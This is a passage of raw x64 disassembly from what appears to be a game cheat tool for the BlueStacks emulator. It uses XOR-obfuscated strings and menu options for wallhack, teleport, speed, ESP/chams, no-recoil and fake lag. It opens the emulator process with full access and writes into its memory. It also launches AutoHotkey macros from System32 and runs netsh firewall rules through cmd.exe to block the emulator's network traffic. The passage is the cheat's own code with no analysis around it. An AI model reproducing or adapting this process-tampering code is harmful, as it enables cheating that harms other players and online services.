xor byte [rcx + 2], 0x37
xor byte [rcx + 3], 0xcd
xor byte [rcx + 4], 0xf1
xor byte [rcx + 5], 0xab
xor byte [rcx + 6], 0x67
xor byte [rcx + 7], 0xb1
xor byte [rcx + 8], 0x4b
xor byte [rcx + 9], 0xfd
xor byte [rcx + 0xa], 0x37
xor byte [rcx + 0xb], 0xcd
mov byte [rcx + 0xc], 0
xor r9d, r9d
lea rdx, [rbp + 0x320]
mov r8b, 1
call fcn.140007760
lea r8, [0x14061fa60]
lea rdx, [0x14061f41c]
lea rcx, str.WallHack_Safe
call fcn.1400350d0
lea r8, [0x14061fa60]
lea rdx, [0x14061f40c]
lea rcx, str.Teleport_X
call fcn.1400350d0
lea r8, [0x14061fa60]
lea rdx, [0x14061f414]
lea rcx, str.Speed_Run
call fcn.1400350d0
lea r8, [0x14061fa60]
lea rdx, [0x14061f410]
lea rcx, str.Dwarf_Camera
call fcn.1400350d0
lea r8, [0x14061fa60]
lea rdx, [0x14061f420]
lea rcx, str.Fake_Lag_Enemy
call fcn.1400350d0
call fcn.14000b520
call fcn.14000bd20
mov eax, dword [0x14061f4f4]
cmp eax, 3
jne 0x140055a70
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x328], 0x440e0000
mov dword [rbp + 0x32c], 0x43480000
mov r8d, 0x2a0
mov rdx, qword [rax + r12*8]
mov eax, 0x2b0
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x1400558d0
mov dword [rdx + r8 + 0xc], 0x1dd0712
or eax, 1
mov dword [rdx + r8], 0x9622b66b
mov dword [rcx + rdx], eax
lea rcx, [0x140126100]
mov dword [rdx + r8 + 4], 0x29c6b67
mov dword [rdx + r8 + 8], 0x9d2cba0d
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xf], 0
je 0x140055925
xor byte [rcx], 0x2d
xor byte [rcx + 1], 0xf7
xor byte [rcx + 2], 0x69
xor byte [rcx + 3], 0xd3
xor byte [rcx + 4], 0x47
xor byte [rcx + 5], 0x27
xor byte [rcx + 6], 0xdd
xor byte [rcx + 7], 0x45
xor byte [rcx + 8], 0x2d
xor byte [rcx + 9], 0xf7
xor byte [rcx + 0xa], 0x69
xor byte [rcx + 0xb], 0xd3
xor byte [rcx + 0xc], 0x47
xor byte [rcx + 0xd], 0x27
xor byte [rcx + 0xe], 0xdd
mov byte [rcx + 0xf], 0
xor r9d, r9d
lea rdx, [rbp + 0x328]
mov r8b, 1
call fcn.140007760
lea rdx, [0x14061f48e]
lea rcx, str.Enable_Macro_M500
call fcn.140030af0
test al, al
je 0x1400559e9
cmp byte [0x14061f48e], 1
jne 0x1400559df
cmp byte [0x14061f48f], 1
jne 0x1400559ac
mov ecx, reloc.WS2_32.dll_WSACleanup
call fcn.14004c280
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.C:WindowsSystem32Macrom500.ahk
mov qword [rsp + 0x20], r13
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x14061f48f], 0
jmp 0x1400559e9
mov dword [rsp + 0x28], 1
lea r8, str.C:WindowsSystem32Macrom500.ahk
xor r9d, r9d
mov qword [rsp + 0x20], r13
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400559e9
mov ecx, 0x75
call fcn.14004c280
lea rdx, [0x14061f48f]
lea rcx, str.Enable_Macro_2Awm
call fcn.140030af0
test al, al
je 0x140055a60
cmp byte [0x14061f48f], 1
jne 0x140055a56
cmp byte [0x14061f48e], 1
jne 0x140055a23
mov ecx, 0x75
mov byte [0x14061f48e], 0
call fcn.14004c280
mov dword [rsp + 0x28], 1
lea r8, str.C:WindowsSystem32Macro2Awm_by_Swatzz.ahk
xor r9d, r9d
mov qword [rsp + 0x20], r13
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140055a60
mov ecx, reloc.WS2_32.dll_WSACleanup
call fcn.14004c280
call fcn.14000b520
call fcn.14000bd20
mov eax, dword [0x14061f4f4]
test eax, eax
jne 0x14005636c
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x330], 0x440e0000
mov dword [rbp + 0x334], 0x43480000
mov r8d, 0x2b8
mov rdx, qword [rax + r12*8]
mov eax, 0x2c8
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140055aef
mov word [rdx + r8 + 0xd], 0x167
or eax, 1
mov dword [rdx + r8], 0x4271ca5c
mov dword [rdx + r8 + 4], 0x6042341f
mov dword [rcx + rdx], eax
lea rcx, [0x1401263b0]
mov dword [rdx + r8 + 8], 0x4376dd44
mov byte [rdx + r8 + 0xc], 0x66
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xe], 0
je 0x140055b40
xor byte [rcx], 0x11
xor byte [rcx + 1], 0x8f
xor byte [rcx + 2], 0x3f
xor byte [rcx + 3], 0x17
xor byte [rcx + 4], 0x3f
xor byte [rcx + 5], 0x67
xor byte [rcx + 6], 7
xor byte [rcx + 7], 0x23
xor byte [rcx + 8], 0x11
xor byte [rcx + 9], 0x8f
xor byte [rcx + 0xa], 0x3f
xor byte [rcx + 0xb], 0x17
xor byte [rcx + 0xc], 0x3f
xor byte [rcx + 0xd], 0x67
mov byte [rcx + 0xe], 0
xor r9d, r9d
lea rdx, [rbp + 0x330]
mov r8b, 1
call fcn.140007760
lea rdx, [0x14061f48d]
lea rcx, str.Block_Internet
call fcn.140030af0
test al, al
je 0x140056330
cmp byte [0x14061f48d], 1
xorps xmm0, xmm0
jne 0x140055ffa
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x7a0], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
mov qword [rbp + 0x7a8], r13
lea rcx, [rbp + 0x790]
movups xmmword [rbp + 0x790], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x790]
call fcn.14004b710
lea rcx, [rbp + 0x790]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x4c8], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x4d0], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x4b8]
movups xmmword [rbp + 0x4b8], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x4b8]
call fcn.14004b710
mov r8, qword [rbp + 0x4d0]
cmp r8, 0xf
jbe 0x140055c20
mov rdx, qword [rbp + 0x4b8]
lea rcx, [rbp + 0x4b8]
call fcn.14004d380
xorps xmm0, xmm0
mov qword [rbp + 0x4c8], r13
mov r8d, 0x91
mov qword [rbp + 0x4d0], reloc.WS2_32.dll_ntohs
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirin_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
mov byte [rbp + 0x4b8], 0
lea rcx, [rbp + 0x770]
mov qword [rbp + 0x780], r13
movups xmmword [rbp + 0x770], xmm0
mov qword [rbp + 0x788], r13
call fcn.14002f3c0
lea rcx, [rbp + 0x770]
call fcn.14004b710
lea rcx, [rbp + 0x770]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x760], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x768], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirout_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x750]
movups xmmword [rbp + 0x750], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x750]
call fcn.14004b710
lea rcx, [rbp + 0x750]
call fcn.14002fd20
xorps xmm0, xmm0
mov qword [rbp + 0x4a8], r13
mov r8d, Ordinal_143
mov qword [rbp + 0x4b0], r13
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirin_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x498]
movups xmmword [rbp + 0x498], xmm0
call fcn.14002f3c0
lea rcx, [rbp + 0x498]
call fcn.14004b710
mov r8, qword [rbp + 0x4b0]
cmp r8, 0xf
jbe 0x140055d28
mov rdx, qword [rbp + 0x498]
lea rcx, [rbp + 0x498]
call fcn.14004d380
xorps xmm0, xmm0
mov qword [rbp + 0x4a8], r13
mov r8d, reloc.WLDAP32.dll_Ordinal_143
mov qword [rbp + 0x4b0], reloc.WS2_32.dll_ntohs
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirout_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
mov byte [rbp + 0x498], 0
lea rcx, [rbp + 0x458]
mov qword [rbp + 0x468], r13
movups xmmword [rbp + 0x458], xmm0
mov qword [rbp + 0x470], r13
call fcn.14002f3c0
lea rcx, [rbp + 0x458]
call fcn.14004b710
mov r8, qword [rbp + 0x470]
cmp r8, 0xf
jbe 0x140055d9e
mov rdx, qword [rbp + 0x458]
lea rcx, [rbp + 0x458]
call fcn.14004d380
xorps xmm0, xmm0
mov qword [rbp + 0x468], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x470], reloc.WS2_32.dll_ntohs
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock4__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
mov byte [rbp + 0x458], 0
lea rcx, [rbp + 0x558]
mov qword [rbp + 0x568], r13
movups xmmword [rbp + 0x558], xmm0
mov qword [rbp + 0x570], r13
call fcn.14002f3c0
lea rcx, [rbp + 0x558]
call fcn.14004b710
mov r8, qword [rbp + 0x570]
cmp r8, 0xf
jbe 0x140055e14
mov rdx, qword [rbp + 0x558]
lea rcx, [rbp + 0x558]
call fcn.14004d380
xorps xmm0, xmm0
mov qword [rbp + 0x568], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x570], reloc.WS2_32.dll_ntohs
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock4__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
mov byte [rbp + 0x558], 0
lea rcx, [rbp + 0x538]
mov qword [rbp + 0x548], r13
movups xmmword [rbp + 0x538], xmm0
mov qword [rbp + 0x550], r13
call fcn.14002f3c0
lea rcx, [rbp + 0x538]
call fcn.14004b710
mov r8, qword [rbp + 0x550]
cmp r8, 0xf
jbe 0x140055e8a
mov rdx, qword [rbp + 0x538]
lea rcx, [rbp + 0x538]
call fcn.14004d380
xorps xmm0, xmm0
mov qword [rbp + 0x548], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x550], reloc.WS2_32.dll_ntohs
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
mov byte [rbp + 0x538], 0
lea rcx, [rbp + 0x578]
mov qword [rbp + 0x588], r13
movups xmmword [rbp + 0x578], xmm0
mov qword [rbp + 0x590], r13
call fcn.14002f3c0
lea rcx, [rbp + 0x578]
call fcn.14004b710
mov r8, qword [rbp + 0x590]
cmp r8, 0xf
jbe 0x140055f00
mov rdx, qword [rbp + 0x578]
lea rcx, [rbp + 0x578]
call fcn.14004d380
xorps xmm0, xmm0
mov qword [rbp + 0x588], r13
mov r8d, __WSAFDIsSet
mov qword [rbp + 0x590], reloc.WS2_32.dll_ntohs
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
mov byte [rbp + 0x578], 0
lea rcx, [rbp + 0x518]
mov qword [rbp + 0x528], r13
movups xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x530], r13
call fcn.14002f3c0
lea rcx, [rbp + 0x518]
call fcn.14004b710
mov r8, qword [rbp + 0x530]
cmp r8, 0xf
jbe 0x140055f76
mov rdx, qword [rbp + 0x518]
lea rcx, [rbp + 0x518]
call fcn.14004d380
lea r9, str.Internet_Desactivado
mov qword [rbp + 0x528], r13
xor edx, edx
mov qword [rbp + 0x530], reloc.WS2_32.dll_ntohs
mov r8d, 0xbb8
mov byte [rbp + 0x518], 0
lea rcx, [rbp + 0xdb00]
call fcn.1400487d0
mov rax, qword [0x1405e9a90]
cmp rax, qword [0x1405e9a98]
je 0x140055fdf
mov r8d, 0x2010
lea rdx, [rbp + 0xdb00]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1405e9a90], 0x2010
jmp 0x140056330
lea r8, [rbp + 0xdb00]
mov rdx, rax
lea rcx, [0x1405e9a88]
call fcn.140047600
jmp 0x140056330
mov r8d, 0x67
mov qword [rbp + 0x9f0], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
mov qword [rbp + 0x9f8], r13
lea rcx, [rbp + 0x9e0]
movups xmmword [rbp + 0x9e0], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0xa10], r13
mov r8d, 0x66
mov qword [rbp + 0xa18], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0xa00]
movups xmmword [rbp + 0xa00], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0xa30], r13
mov r8d, 0x63
mov qword [rbp + 0xa38], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0xa20]
movups xmmword [rbp + 0xa20], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0xa50], r13
mov r8d, 0x68
mov qword [rbp + 0xa58], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0xa40]
movups xmmword [rbp + 0xa40], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0xa70], r13
mov r8d, 0x76
mov qword [rbp + 0xa78], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlock4__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0xa60]
movups xmmword [rbp + 0xa60], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0xa90], r13
mov r8d, 0x76
mov qword [rbp + 0xa98], r13
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlock4__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0xa80]
movups xmmword [rbp + 0xa80], xmm0
call fcn.14002f3c0
lea rsi, [rbp + 0x9e0]
xorps xmm0, xmm0
lea rax, str.cmd.exe
movups xmmword [rbp + 0xb10], xmm0
movabs rcx, 0x7fffffffffffffff
mov dword [rbp + 0xb10], reloc.WS2_32.dll_WSASetLastError
movups xmmword [rbp + 0xb20], xmm0
mov qword [rbp + 0xb28], rax
mov rax, rcx
mov dword [rbp + 0xb14], 0x40
movups xmmword [rbp + 0xb30], xmm0
movups xmmword [rbp + 0xb40], xmm0
movups xmmword [rbp + 0xb50], xmm0
movups xmmword [rbp + 0xb60], xmm0
movups xmmword [rbp + 0xb70], xmm0
mov r15, qword [rsi + 0x10]
sub rax, r15
cmp rax, 3
jb 0x140056e27
cmp qword [rsi + 0x18], 0xf
mov r12, rsi
jbe 0x1400561a5
mov r12, qword [rsi]
lea r14, [r15 + 3]
mov qword [rbp + 0x508], r13
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x510], r13
lea rdi, [rbp + 0x4f8]
movups xmmword [rbp + 0x4f8], xmm0
cmp r14, rbx
jbe 0x140056200
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400561e0
mov rbx, rcx
jmp 0x1400561ed
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.140047280
mov rdi, rax
mov qword [rbp + 0x4f8], rax
mov ecx, dword [0x14018fc50]
mov r8, r15
mov qword [rbp + 0x508], r14
mov rdx, r12
mov qword [rbp + 0x510], rbx
mov word [rdi], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 2], cl
lea rcx, [rdi + 3]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
lea rax, [rbp + 0x4f8]
cmp qword [rbp + 0x510], 0xf
lea rcx, [rbp + 0x4f8]
cmova rax, qword [rbp + 0x4f8]
mov qword [rbp + 0xb30], rax
call fcn.14002fd20
lea rcx, [rbp + 0xb10]
mov dword [rbp + 0xb40], r13d
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x140056296
mov rcx, qword [rbp + 0xb78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xb78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsi, 0x20
lea rax, [rbp + 0xaa0]
cmp rsi, rax
jne 0x140056124
lea r9, str.Internet_Activado
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0xfb10]
call fcn.1400487d0
mov rax, qword [0x1405e9a90]
cmp rax, qword [0x1405e9a98]
je 0x1400562f7
mov r8d, 0x2010
lea rdx, [rbp + 0xfb10]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1405e9a90], 0x2010
jmp 0x14005630d
lea r8, [rbp + 0xfb10]
mov rdx, rax
lea rcx, [0x1405e9a88]
call fcn.140047600
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r9, [fcn.14002fd20]
lea rcx, [rbp + 0x9e0]
lea r8d, [rdx - 0x1a]
call fcn.140121f48
mov r12d, dword [0x14061fd20]
lea rdx, [0x14061f484]
lea rcx, str.Seguridad_Ultimate___Login__
call fcn.140030af0
test al, al
je 0x14005635c
cmp byte [0x14061f484], 1
jne 0x14005635c
lea rcx, [0x14061f610]
call fcn.14004aef0
call fcn.14000b520
call fcn.14000bd20
mov eax, dword [0x14061f4f4]
cmp eax, 5
jne 0x1400568f4
call fcn.140007d20
mov rax, qword gs:[0x58]
mov ecx, r12d
mov dword [rbp + 0x338], 0x43960000
mov dword [rbp + 0x33c], 0x435c0000
mov r8d, 0x2d0
mov rdx, qword [rax + rcx*8]
mov eax, 0x2dc
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x1400563e1
mov dword [rdx + r8 + 8], 0x1a98400
or eax, 1
mov dword [rcx + rdx], eax
lea rcx, [0x1401266e0]
mov dword [rdx + r8], 0xcce79200
mov dword [rdx + r8 + 4], 0xd2c73041
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov ecx, r12d
mov rcx, qword [rax + rcx*8]
add rcx, rbx
cmp byte [rcx + 0xb], 0
je 0x140056429
xor byte [rcx], 0x4d
xor byte [rcx + 1], 0xd7
xor byte [rcx + 2], 0xa9
xor byte [rcx + 3], 0x99
xor byte [rcx + 4], 0x61
xor byte [rcx + 5], 0x73
xor byte [rcx + 6], 0x8f
xor byte [rcx + 7], 0x93
xor byte [rcx + 8], 0x4d
xor byte [rcx + 9], 0xd7
xor byte [rcx + 0xa], 0xa9
mov byte [rcx + 0xb], 0
xor r9d, r9d
lea rdx, [rbp + 0x338]
mov r8b, 1
call fcn.140007760
lea rdx, [0x14061f3fd]
lea rcx, str.Chams_CartelX
call fcn.140030af0
test al, al
je 0x140056460
cmp byte [0x14061f3fd], 0
je 0x140056460
call fcn.14004b680
lea rdx, [0x14061f401]
lea rcx, str.Chams_Red
call fcn.140030af0
test al, al
je 0x140056485
cmp byte [0x14061f401], 0
je 0x140056485
call fcn.14004b5f0
lea rdx, [0x14061f3fc]
lea rcx, str.Chams_3D
call fcn.140030af0
test al, al
je 0x1400564ee
cmp byte [0x14061f3fc], 0
je 0x1400564ee
call fcn.1400575e0
mov rcx, rax
call fcn.140057540
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400564ee
mov rcx, rax
call fcn.14004bd30
test al, al
je 0x1400564e5
lea rdx, [0x1403ac960]
mov rcx, rbx
call fcn.140056e30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x14005650f
call fcn.140007e70
lea rcx, str.Activar_en_Partida
call fcn.140037db0
call fcn.14000c0d0
call fcn.14000b520
mov rax, qword gs:[0x58]
mov ecx, r12d
mov dword [rbp + 0x340], 0x43960000
mov dword [rbp + 0x344], 0x438c0000
mov r8d, 0x2e0
mov rdx, qword [rax + rcx*8]
mov eax, 0x2ec
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x14005657b
mov dword [rdx + r8 + 8], 0x105c550
or eax, 1
mov dword [rcx + rdx], eax
lea rcx, [0x140126280]
mov dword [rdx + r8], 0xb84bd258
mov dword [rdx + r8 + 4], 0x9d3fc4d3
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov ecx, r12d
mov rcx, qword [rax + rcx*8]
add rcx, rbx
cmp byte [rcx + 0xb], 0
je 0x1400565c3
xor byte [rcx], 0x15
xor byte [rcx + 1], 0x97
xor byte [rcx + 2], 5
xor byte [rcx + 3], 0xed
xor byte [rcx + 4], 0xf3
xor byte [rcx + 5], 0x8b
xor byte [rcx + 6], 0x6b
xor byte [rcx + 7], 0xd5
xor byte [rcx + 8], 0x15
xor byte [rcx + 9], 0x97
xor byte [rcx + 0xa], 5
mov byte [rcx + 0xb], 0
xor r9d, r9d
lea rdx, [rbp + 0x340]
mov r8b, 1
call fcn.140007760
lea rdx, [0x14061f402]
lea rcx, str.Night_Mode
call fcn.140030af0
test al, al
je 0x1400566f8
cmp byte [0x14061f402], 0
je 0x1400566f8
lea rcx, [0x14061f610]
call fcn.14004bb60
mov rdx, rax
lea rcx, [0x14061f610]
call fcn.14004bc10
test eax, eax
je 0x140056639
mov r8d, eax
mov dword [0x14061f640], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14061f648], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.140122614
mov rbx, rax
test rax, rax
je 0x140056668
mov dword [rax], 0x3f7d70a4
mov dword [rax + 4], 0x3f13cd3a
mov dword [rax + 8], 0x3c23d70a
mov dword [rax + 0xc], 0xbf800000
jmp 0x14005666b
mov rbx, r13
mov ecx, reloc.WS2_32.dll_recv
call fcn.140122614
test rax, rax
je 0x140056697
mov dword [rax], 0x3f7d70a4
mov dword [rax + 4], 0x3f13cd3a
mov dword [rax + 8], 0x3c23d70a
mov dword [rax + 0xc], 0x358637bd
jmp 0x14005669a
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x14061f610]
mov r9, rax
mov qword [rsp + 0x20], rbx
xor edx, edx
movabs r8, 0x7fffffffffff
call fcn.14004cc10
lea rcx, [0x1405e8d58]
test al, al
je 0x1400566d9
mov r8d, reloc.WLDAP32.dll_Ordinal_33
lea rdx, str.NightMode_:_Successfully_applied_
jmp 0x1400566e6
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.NightMode_:_Error_
call fcn.140038520
mov rcx, qword [0x14061f648]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x14061f49d]
lea rcx, str.No_Recoil
call fcn.140030af0
test al, al
je 0x140056724
cmp byte [0x14061f49d], 0
je 0x140056724
lea rcx, [0x14061f610]
call fcn.14004d980
call fcn.14000b520
call fcn.14000bd20
movaps xmm1, xmm9
movaps xmm0, xmm7
call fcn.140019e20
call fcn.140007d20
mov rax, qword gs:[0x58]
mov ecx, r12d
mov dword [rbp + 0x348], 0x43960000
mov dword [rbp + 0x34c], 0x438c0000
mov r8d, 0x2f0
mov rdx, qword [rax + rcx*8]
mov eax, 0x2fc
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x1400567a5
mov dword [rdx + r8 + 6], 0x1a57956
or eax, 1
mov dword [rcx + rdx], eax
lea rcx, [0x140126520]
mov dword [rdx + r8], 0xb66542e8
mov word [rdx + r8 + 4], 0xe04d
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov ecx, r12d
mov rcx, qword [rax + rcx*8]
add rcx, rbx
cmp byte [rcx + 9], 0
je 0x1400567e5
xor byte [rcx], 0xa5
xor byte [rcx + 1], 7
xor byte [rcx + 2], 0x2b
xor byte [rcx + 3], 0xe3
xor byte [rcx + 4], 0x6d
xor byte [rcx + 5], 0xa5
xor byte [rcx + 6], 5
xor byte [rcx + 7], 0x29
xor byte [rcx + 8], 0xa5
mov byte [rcx + 9], 0
xor r9d, r9d
lea rdx, [rbp + 0x348]
mov r8b, 1
call fcn.140007760
lea rdx, [0x14061f3ff]
lea rcx, str.Chams_Esp_Box_V1
call fcn.140030af0
test al, al
je 0x140056860
cmp byte [0x14061f3ff], 0
je 0x140056860
call fcn.1400575e0
mov rcx, rax
call fcn.140057540
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140056860
mov rcx, rax
call fcn.14004bd30
test al, al
je 0x140056857
lea rdx, [0x14033ef60]
mov rcx, rbx
call fcn.140056e30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x14061f400]
lea rcx, str.Chams_Esp_Box_V2
call fcn.140030af0
test al, al
je 0x1400568c9
cmp byte [0x14061f400], 0
je 0x1400568c9
call fcn.1400575e0
mov rcx, rax
call fcn.140057540
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400568c9
mov rcx, rax
call fcn.14004bd30
test al, al
je 0x1400568c0
lea rdx, [0x140419960]
mov rcx, rbx
call fcn.140056e30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x1400568ea
call fcn.140007e70
lea rcx, str.Activar_en_Partida
call fcn.140037db0
call fcn.14000c0d0
call fcn.14000b520
call fcn.14000bd20
mov r14d, 1
mov ecx, r14d
call fcn.140016580
cmp byte [0x14061f4fe], 0
je 0x140056a83
cmp byte [0x14061f3d8], 0
lea ecx, [r14 + 1]
je 0x140056a33
call fcn.140122614
mov rbx, rax
test rax, rax
je 0x140056934
mov word [rax], 0x100
jmp 0x140056937
mov rbx, r13
mov ecx, 0x81
call fcn.140122614
test rax, rax
je 0x140056a0e
mov qword [rax], 0
mov qword [rax + 8], 0
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov dword [rax + 0x20], 0x3f000000
mov dword [rax + 0x24], 0x3f3f3f3f
mov qword [rax + 0x28], 0x3f3f
mov qword [rax + 0x30], 0
mov dword [rax + 0x38], 0x3f800000
mov dword [rax + 0x3c], 0x3f3f3f3f
mov dword [rax + 0x40], 0x3f3f3f3f
mov dword [rax + 0x44], 0x3f3f3f3f
mov dword [rax + 0x48], 0x3f
mov dword [rax + 0x4c], 0x3f3f0000
mov dword [rax + 0x50], 0x3f3f3f3f
mov dword [rax + 0x54], 0x3f3f3f3f
mov dword [rax + 0x58], 0x3f3f3f3f
mov dword [rax + 0x5c], 0x3f3f3f3f
mov dword [rax + 0x60], 0x3f3f3f3f
mov dword [rax + 0x64], 0x3f3f3f3f
mov dword [rax + 0x68], 0x3f3f3f07
mov dword [rax + 0x6c], 0x3f3f3f3f
mov dword [rax + 0x70], 0x3f3f3f08
mov dword [rax + 0x74], 0x3f3f3f3f
mov dword [rax + 0x78], 0x3f3f3f3f
mov dword [rax + 0x7c], 0x3f3f3f3f
mov byte [rax + 0x80], Ordinal_41
jmp 0x140056a11
mov rax, r13
mov r9, rax
mov qword [rsp + 0x20], rbx
xor edx, edx
lea rcx, [0x14061f610]
movabs r8, 0x7fffffffffff
call fcn.14004c420
jmp 0x140056a83
call fcn.140122614
mov rbx, rax
test rax, rax
je 0x140056a47
xor eax, eax
mov word [rbx], ax
jmp 0x140056a4a
mov rbx, r13
mov ecx, 2
call fcn.140122614
test rax, rax
je 0x140056a60
xor ecx, ecx
mov word [rax], cx
jmp 0x140056a63
mov rax, r13
mov r9, rax
mov qword [rsp + 0x20], rbx
xor edx, edx
lea rcx, [0x14061f610]
movabs r8, 0x7fffffffffff
call fcn.14004dd00
call fcn.14000afe0
mov rdx, qword [rbp + 0x438]
cmp rdx, 0xf
jbe 0x140056ac9
mov rcx, qword [rbp + 0x420]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056ac4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056dc4
